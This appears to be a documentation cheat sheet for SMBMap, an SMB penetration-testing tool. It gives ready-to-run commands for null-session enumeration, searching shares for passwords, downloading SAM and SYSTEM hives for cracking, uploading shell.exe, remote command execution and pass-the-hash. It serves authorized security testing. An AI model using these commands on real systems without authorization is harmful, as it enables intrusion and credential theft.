SMBMap
Overview
섹션 제목: “Overview”SMBMap is a handy SMB enumeration tool written in Python that allows you to enumerate samba share drives across an entire domain. Useful for SMB security testing and finding sensitive files on Windows networks.
Installation
섹션 제목: “Installation”Linux / macOS
섹션 제목: “Linux / macOS”# Via pip (recommended)
pip3 install smbmap
# Via git
git clone https://github.com/ShawnDEvans/smbmap.git
cd smbmap
pip3 install -r requirements.txt
python3 smbmap.py --helpWindows
섹션 제목: “Windows”# Via pip
pip install smbmap
# Or download and run directly
python smbmap.py [options]Docker
섹션 제목: “Docker”docker run -it --rm smbmap/smbmap:latest smbmap.py --helpBasic Usage
섹션 제목: “Basic Usage”Help and Version
섹션 제목: “Help and Version”smbmap -h # Show help
smbmap --version # Show versionRequired Parameters
섹션 제목: “Required Parameters”-H, --host <ip> # Target host or IP
-u, --username <user> # Username (optional for null sessions)
-p, --password <pass> # Password
-d, --domain <domain> # Domain nameNull Session Enumeration
섹션 제목: “Null Session Enumeration”Enumerate Without Credentials
섹션 제목: “Enumerate Without Credentials”smbmap -H 192.168.1.100 # No auth
smbmap -H 192.168.1.100 -u '' -p '' # Null session with explicit empty creds
smbmap -H 192.168.1.100 -u 'anonymous' # Anonymous userCheck for Null Session Vulnerability
섹션 제목: “Check for Null Session Vulnerability”smbmap -H 192.168.1.100 2>&1 | grep -i "accessible\|readable"Guest and Unauthenticated Access
섹션 제목: “Guest and Unauthenticated Access”smbmap -H 192.168.1.100 -u 'guest' -p '' # Guest account
smbmap -H 192.168.1.100 --no-color # Disable color outputAuthenticated Enumeration
섹션 제목: “Authenticated Enumeration”Basic Authentication
섹션 제목: “Basic Authentication”smbmap -H 192.168.1.100 -u 'admin' -p 'password123' # Username/password
smbmap -H 192.168.1.100 -d DOMAIN -u 'admin' -p 'pass' # With domainList All Shares
섹션 제목: “List All Shares”smbmap -H 192.168.1.100 -u 'admin' -p 'password123' # Shows all accessible shares
smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -L # List only shares (compact)Check Specific Share
섹션 제목: “Check Specific Share”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'C$' # Enumerate C$ share
smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'Users' # Enumerate Users shareShare and Permission Enumeration
섹션 제목: “Share and Permission Enumeration”Share Enumeration Output
섹션 제목: “Share Enumeration Output”smbmap -H 192.168.1.100 -u 'admin' -p 'pass'
# Output shows:
# Share name | Type | Permissions | Comment
# IPC$ | STYPE_IPC | NO ACCESS | (null)
# ADMIN$ | STYPE_DISKTREE | READ, WRITE | Remote Admin
# C$ | STYPE_DISKTREE | NO ACCESS | Default share
# Users | STYPE_DISKTREE | READ | User directoryIdentify Writable Shares
섹션 제목: “Identify Writable Shares”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' | grep WRITEParse Results for Analysis
섹션 제목: “Parse Results for Analysis”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -q # Quiet mode (minimal output)
smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -v # Verbose outputFile Enumeration
섹션 제목: “File Enumeration”Recursive File Listing
섹션 제목: “Recursive File Listing”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'Users' -r
# Recursively list all files in Users shareList Specific Directory
섹션 제목: “List Specific Directory”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'Users' -r 'Documents'
# List Documents folder recursivelyFind Files by Pattern
섹션 제목: “Find Files by Pattern”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'Users' -r | grep -i '.txt\|.pdf\|.xls'File Download and Upload
섹션 제목: “File Download and Upload”Download Files
섹션 제목: “Download Files”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'Users' -D 'Documents/file.txt'
# Download file to current directory
smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'C$' -D 'Windows/System32/config/sam'
# Download SAM file (requires admin)Download Entire Directory
섹션 제목: “Download Entire Directory”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'Users' -r | xargs -I {} \
smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'Users' -D '{}'Upload Files
섹션 제목: “Upload Files”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'Users' -U 'shell.exe'
# Upload shell.exe to root of Users share
smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'Users' -U 'shell.exe' -T 'Temp/'
# Upload to specific directoryFile Content Search
섹션 제목: “File Content Search”Search for Keywords in Files
섹션 제목: “Search for Keywords in Files”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'Users' -r -A 'password\|secret\|api'
# Search recursively for sensitive keywordsSearch Specific File Extensions
섹션 제목: “Search Specific File Extensions”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'Users' -r -A 'password' -F '*.txt\|*.conf'Output Search Results
섹션 제목: “Output Search Results”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'Users' -r -A 'password' -o 'results.txt'Remote Command Execution
섹션 제목: “Remote Command Execution”Execute Commands (Requires Admin)
섹션 제목: “Execute Commands (Requires Admin)”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -x 'ipconfig'
# Execute ipconfig command
smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -x 'whoami'
# Check current user contextExecute with Specific Share
섹션 제목: “Execute with Specific Share”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'C$' -x 'cmd.exe /c whoami'
smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'ADMIN$' -x 'powershell.exe'Execute Multiple Commands
섹션 제목: “Execute Multiple Commands”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -x 'whoami && hostname && systeminfo'Pass-the-Hash Attacks
섹션 제목: “Pass-the-Hash Attacks”Using NTLM Hash
섹션 제목: “Using NTLM Hash”smbmap -H 192.168.1.100 -u 'admin' -p '8846f7eaee8fb117ad06bdd830b7586c:8846f7eaee8fb117ad06bdd830b7586c'
# Format: LM:NT hash (can be same if only NT available)PTH with Domain
섹션 제목: “PTH with Domain”smbmap -H 192.168.1.100 -d DOMAIN -u 'admin' -p 'hash:hash'Combine with Command Execution
섹션 제목: “Combine with Command Execution”smbmap -H 192.168.1.100 -u 'admin' -p 'hash:hash' -x 'whoami'Domain Enumeration
섹션 제목: “Domain Enumeration”Scan Network Range
섹션 제목: “Scan Network Range”for ip in 192.168.1.{1..254}; do
timeout 2 smbmap -H $ip -u 'guest' -p '' 2>/dev/null | grep -i accessible && echo "Found: $ip"
doneEnumerate All Domain Machines
섹션 제목: “Enumerate All Domain Machines”smbmap -H 192.168.1.1 -u 'admin' -p 'pass' -L | grep -i 'STYPE_DISKTREE' | awk '{print $1}'Find Printers and Shared Resources
섹션 제목: “Find Printers and Shared Resources”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' | grep -E 'print\|share\|backup'Common Flags Reference
섹션 제목: “Common Flags Reference”| Flag | Description |
|---|---|
-H, --host | Target host IP or hostname |
-u, --username | Username for authentication |
-p, --password | Password for authentication |
-d, --domain | Domain name (for domain users) |
-L | List shares only (no file enumeration) |
-s, --share | Specify a single share to enumerate |
-r | Recursively list directory contents |
-A, --search | Search for string in files |
-F, --filter | Filter files by extension |
-D, --download | Download a file |
-U, --upload | Upload a file |
-x, --execute | Execute a command (RCE) |
-o, --outfile | Output results to file |
-q, --quiet | Quiet mode |
-v, --verbose | Verbose output |
--no-color | Disable colored output |
Integration with Other Tools
섹션 제목: “Integration with Other Tools”CrackMapExec Integration
섹션 제목: “CrackMapExec Integration”# SMBMap can be chained with CrackMapExec for comprehensive testing
cme smb 192.168.1.0/24 -u admin -p password --shares
# Then use smbmap for deeper enumeration
crackmapexec smb 192.168.1.100 -u admin -p pass -x 'whoami' # For executionNetExec (CrackMapExec Successor)
섹션 제목: “NetExec (CrackMapExec Successor)”nxc smb 192.168.1.100 -u admin -p pass --shares
# Modern alternative to CrackMapExecCombine with Enum4linux
섹션 제목: “Combine with Enum4linux”enum4linux 192.168.1.100 # Get user/group info
smbmap -H 192.168.1.100 -u 'user' -p 'pass' # Then enumerate sharesExport to Tools like BloodHound
섹션 제목: “Export to Tools like BloodHound”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -q > shares.txt
# Parse and import share access info into BloodHound for AD analysisAdvanced Techniques
섹션 제목: “Advanced Techniques”Enumerate Hidden Shares
섹션 제목: “Enumerate Hidden Shares”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -L
# Will show hidden shares ending with $Find Domain Admin Shares
섹션 제목: “Find Domain Admin Shares”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -L | grep -i 'admin\|domain\|netlogon\|sysvol'Backup File Discovery
섹션 제목: “Backup File Discovery”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -r -A 'backup\|\.bak\|\.sql\|\.db' -F '.*\.(bak|sql|db|backup)$'Configuration File Search
섹션 제목: “Configuration File Search”smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -r -A 'password\|api\|secret' -F '.*\.(conf|config|ini|xml|json)$'Privilege Escalation Path Finding
섹션 제목: “Privilege Escalation Path Finding”# Download SYSTEM and SAM files for offline cracking
smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'C$' -D 'Windows/System32/config/SYSTEM'
smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'C$' -D 'Windows/System32/config/SAM'Troubleshooting
섹션 제목: “Troubleshooting”Connection Refused
섹션 제목: “Connection Refused”# Ensure SMB port 445 is open
nmap -p 445 192.168.1.100
# Try with SMB version specification
smbmap -H 192.168.1.100 -u 'admin' -p 'pass' --smbv2Authentication Failed
섹션 제목: “Authentication Failed”# Verify credentials and domain
smbmap -H 192.168.1.100 -d DOMAIN.COM -u 'DOMAIN\admin' -p 'password'
# Check for account lockout
smbmap -H 192.168.1.100 -u 'admin' -p 'wrongpass' -vCommand Execution Not Working
섹션 제목: “Command Execution Not Working”# Requires appropriate share access (usually C$ or ADMIN$)
smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -s 'C$' -x 'whoami'
# May need elevated privileges
smbmap -H 192.168.1.100 -u 'domain\admin' -p 'pass' -x 'whoami'Timeout Issues
섹션 제목: “Timeout Issues”# Increase timeout for slow networks
smbmap -H 192.168.1.100 -u 'admin' -p 'pass' -v
# Add verbose flag to see timeout errorsSecurity Notes
섹션 제목: “Security Notes”- Always obtain proper authorization before testing SMB shares
- Null sessions may be disabled on modern systems but still worth checking
- Pass-the-hash attacks require NTLM hash of user (not cleartext password)
- Command execution typically requires local admin or system access
- Monitor logs for SMBMap activity (Event ID 4625 for failed logins)
- Use VPN/proxies appropriately for remote engagements
- Credentials should be handled securely (use
-pwith caution in shell history)
Related Tools
섹션 제목: “Related Tools”- nmap — Network scanning and SMB enumeration
- enum4linux — Linux-based SMB enumeration
- CrackMapExec — Comprehensive SMB exploitation framework
- NetExec — Modern successor to CrackMapExec
- smbclient — Command-line SMB/CIFS client
- impacket — Python library for SMB protocol manipulation
- Metasploit — Framework with SMB modules